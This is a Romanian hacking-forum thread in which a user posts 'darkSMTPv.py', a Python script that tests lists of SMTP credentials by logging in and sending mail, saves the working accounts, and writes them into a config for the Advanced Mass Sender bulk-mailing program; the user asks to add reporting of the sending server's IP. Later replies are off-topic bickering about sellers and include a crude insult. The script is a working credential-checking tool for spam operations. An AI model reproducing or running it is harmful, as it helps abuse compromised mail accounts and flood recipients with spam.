Jump to content
kgbonme

smtp verify python

Recommended Posts

am ceva de genul

#!/usr/bin/python 
#darkSMTPv.py
#SMTP Checker - using Authentication
#Coded by P47r1ck & low1z
#-----------------------------------
#... To be continued ...
#
#
#THE CODE WILL TAKE A LIST OF SMTP ACCOUNTS IN THE FOLLOWING FORMAT (IP:USER:PASS) WILL TRY TO LOGIN AND THEN SEND
#EMAIL TO THE ADDRESS THAT YOU CAN CHANGE ANYTIME IN THE CODE ( look below the #Create the message at the toaddr=
#
#EVERY WORKING SMTP ACCOUNT WILL PRINTED ON THE SCREEN WITH THE FOLLOWING MESSAGE : [!] Email Sent Successfully: IP USER PASS
#
#THE CODE HAS THE FOLLOWING FEATURES.
#
# 1. IT WILL SAVE THE LIST OF WORKING SMTP ACCOUNTS TO FILE OUTPUT THAT YOU WILL CHOOSE.
# 2. YOU CAN ALSO SPECIFY THE EMAIL WHERE THE SMTP CAN SEND THE TEST EMAIL.
# 3. IT WILL MAKE A LIST OF SERVERS FOR THE AMS (ADVANCED MASS SENDER PROGRAM), SO YOU CAN INSERT MORE EASIER THE SMTP
#LIST INTO THE AMS.INI FILE FROM THE AMS PROGRAM. (LIST IS SAVED TO AMSlist.txt)
#
#
# MORE FEATURES ARE COMING SOON!!!

import sys, smtplib, socket, time, random
from smtplib import SMTP
from random import choice

socket.setdefaulttimeout(5) # smtp default timeout, change number to speed up large lists

def printHelp():
print '\nHow to use it ? There you go -- > ./darkSMTPv.py <accounts> <outputfile>'
print '\nImportant: THE SMTP ACCOUNTS MUST BE IN THE FOLLOWING FORMAT : IP:USER:PASS\n'

# Create the message
fromaddr = "test@test.com"
toaddr = "test@gmail.com"

def rndstr():
rndstr = ''
for x in range(0,6): rndstr += str(random.choice(range(0,5)))
return rndstr

rs = rndstr()
message = """To: %s
From: %s
Subject: %s

test email

""" % (toaddr,fromaddr,str(rs))
print "\n _ _ _____ __ __ _______ _____ "
print " | | | | / ____| \/ |__ __| __ \ "
print " __| | __ _ _ __| | _| (___ | \ / | | | | |__) |_ __"
print " / _` |/ _` | '__| |/ /\___ \| |\/| | | | | ___/\ \ / /"
print "| (_| | (_| | | | < ____) | | | | | | | | \ V / "
print " \__,_|\__,_|_| |_|\_\_____/|_| |_| |_| |_| \_/ \n"
print "\n This is not stopping here! ... To be continued."
print "More features will be added soon. For bugs p47r1ckro[at]gmail[dot]com\n"
print "_______________________________________________________________________"

def timer():
now = time.localtime(time.time())
return time.asctime(now)

def sendchk(listindex, host, user, password, info): # seperated function for checking
try:
smtp = smtplib.SMTP(host)
smtp.login(user, password)
code = smtp.ehlo()[0]
if not (200 <= code <= 299):
raise SMTPHeloError(code, resp)
smtp.sendmail(fromaddr, toaddr, message)
print "\n\t[!] Sending successful:",host, user, password
print "\t[!] Message Sent Successfully\n"
if info != '':
LSstring = host+":"+user+":"+password+":"+info+"\n"
else:
LSstring = host+":"+user+":"+password+"\n"
nList.append(LSstring) # special list for AMS file ID's
LFile = open(output, "a")
LFile.write(LSstring) # save working host/usr/pass to file
LFile.close()
AMSout = open("AMSlist.txt", "a")
AMSout.write("[Server"+str(nList.index(LSstring))+"]\nName="+str(host)+"\nPort=25\nUserID=User\nBccSize=50\nUserName="+str(user)+"\nPassword="+str(password)+"\nAuthType=0\n\n")
smtp.quit()
except(socket.gaierror, socket.error, socket.herror, smtplib.SMTPException), msg:
print "[-] Login Failed:", host, user, password
pass

if len(sys.argv) != 3:
printHelp()
exit(1)

# Do not change anything below.
accounts = sys.argv[1]
output = sys.argv[2]

try:
handle = list(open(accounts))
except:
print"\n[+] We were unable to open the SMTP filelist. Check again your path and try again."
print"\n[+] Exiting...."

nList = []
for line in handle:
host = line.split(':')[0]
user = line.split(':')[1].replace('\n', '')
if line.count(':') == 2:
try:
password = line.split(':')[2].replace('\n', '')
sendchk(handle.index(line), host, user, password, info='')
except:
print '\n[+] We have found a error in your accounts list'
print host, user
exit(1)
elif line.count(':') == 3:
try:
password = line.split(':')[2]
info = line.split(':')[3].replace('\n', '')
sendchk(handle.index(line), host, user, password, info)
except:
print '\n[+] We have found a error in your accounts list'
print host, user
exit(1)
else:
print '\n[!] IMPORTANT: THE SMTP ACCOUNTS MUST BE IN THE FOLLOWING FORMAT : IP,USER,PASS'
print '\n[-] Exiting....\n'

print "[!] Ended at: " + timer() + "\n"
print "\n[!] You should visit forum.darkc0de.com from time to time"

vreau sa-mi trimita email cu ip-ul smtp-ului cu care a trimis (folosit) pt sortare

msk

Link to comment
Share on other sites

BISS

Poate ca nu a auzit de edit dar cel putin de ban daca nu a intalnit pana acum, va intalni cat de curand.

Ultimul lui post a fost tare rau de tot.

am programul de trmis emailuri prin smtp

Da n-ai fi vrut sa trimiti emailuri prin mata ? Cat ceri pe acel program ? =))

Edit:

Showing Visitor Messages 1 to 1 of 1

Va salut sa va urez vizionare placuta e un forum bestial si merita sa stai pe el

Merita sa navigheze cei care se pot incadra in mare parte in categoriile acestui forum nu si n00bistii ca tine.

Apropo sti ce face scriptu postat mai sus ? Daca prin minune ai inteles din subiectul acestui topic urmatoarea intrebare e, sti sa il folosesti ?

Au inceput toti n00barii sa vanda diferite chestii cand ei nu au o habar de ele.

Mai nou a ajuns Categoria "RST Market" in toate topicurile de pe forum. Se arunca care mai de care cu diferite chestii postand in fiece topic in care prinde loc. O sa ajungem sa citim posturi doar vand si cumpar.

La o adica de ce mai exista categoria "RST Market" daca se posteaza incepand de la subcategoria cereri pana in fiece catogire/topic gen ca ratatu asta. Morti luii in loc sa CEARA omu CUMPARA la sectiunea de CERERI.

Cauza pentru ajungerea acestora in vinde si a cumpera pe tot forumul ar fi ca la categoria ce sa creat special pentru cumparatori si vanzatori trebuie sa astepte aprobarea topicului iar alta cauza ar fi ca fac mai rapid cumparatori sau clienti pentru a vinde postand la greu in topicurile altora, futunadule cu discutii total diferite de la subiect.

Ca de exemplu acum din cauza unui ratat sa facut alte 2 posturi de catre 2 useri. Si desigur ca mai vine si altul sa comenteze si tot asa. Dar unu nu vorbeste de scriptul postat. Posturi total deviate de la subiect.

bg_mafia17k Ia mausu in gura, ca vine pula mea pe fir.

Edited by Haceru
Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...